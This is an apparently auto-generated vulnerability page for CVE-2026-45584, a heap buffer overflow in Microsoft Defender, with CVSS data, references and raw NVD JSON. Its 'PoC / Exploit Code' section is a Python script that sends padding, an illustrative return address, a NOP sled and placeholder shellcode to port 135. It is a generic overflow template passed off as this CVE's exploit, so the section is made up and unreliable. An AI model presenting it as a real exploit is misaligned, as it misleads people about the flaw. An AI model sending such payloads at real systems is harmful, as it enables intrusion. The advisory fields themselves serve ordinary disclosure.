CVE-2026-45584

Description

Heap-based buffer overflow in Microsoft Defender allows an unauthorized attacker to execute code over a network.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Defender (具体受影响版本请参考官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# Target configuration
TARGET_IP = "192.168.1.10"
TARGET_PORT = 135

def generate_payload():
    # Buffer fill to reach overflow point
    # Adjust offset based on specific version analysis
    junk = b"A" * 1024
    
    # Hypothetical return address to bypass DEP/ASLR or jump to shellcode
    # This address is illustrative
    ret_addr = struct.pack("<Q", 0x140001000)
    
    # NOP sled for stability
    nop_sled = b"\x90" * 32
    
    # Placeholder for calc.exe or reverse shell shellcode
    shellcode = b"\xCC" * 64
    
    payload = junk + ret_addr + nop_sled + shellcode
    return payload

def exploit():
    payload = generate_payload()
    try:
        print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET_IP, TARGET_PORT))
        
        print("[*] Sending malicious payload...")
        s.send(payload)
        
        print("[+] Payload sent successfully.")
        s.close()
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45584
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45584
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45584/
[4] VulDB https://vuldb.com/cve/CVE-2026-45584
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45584

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45584", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:37.333", "lastModified": "2026-05-20T13:57:15.740", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Microsoft Defender allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45584", "source": "[email protected]"}]}}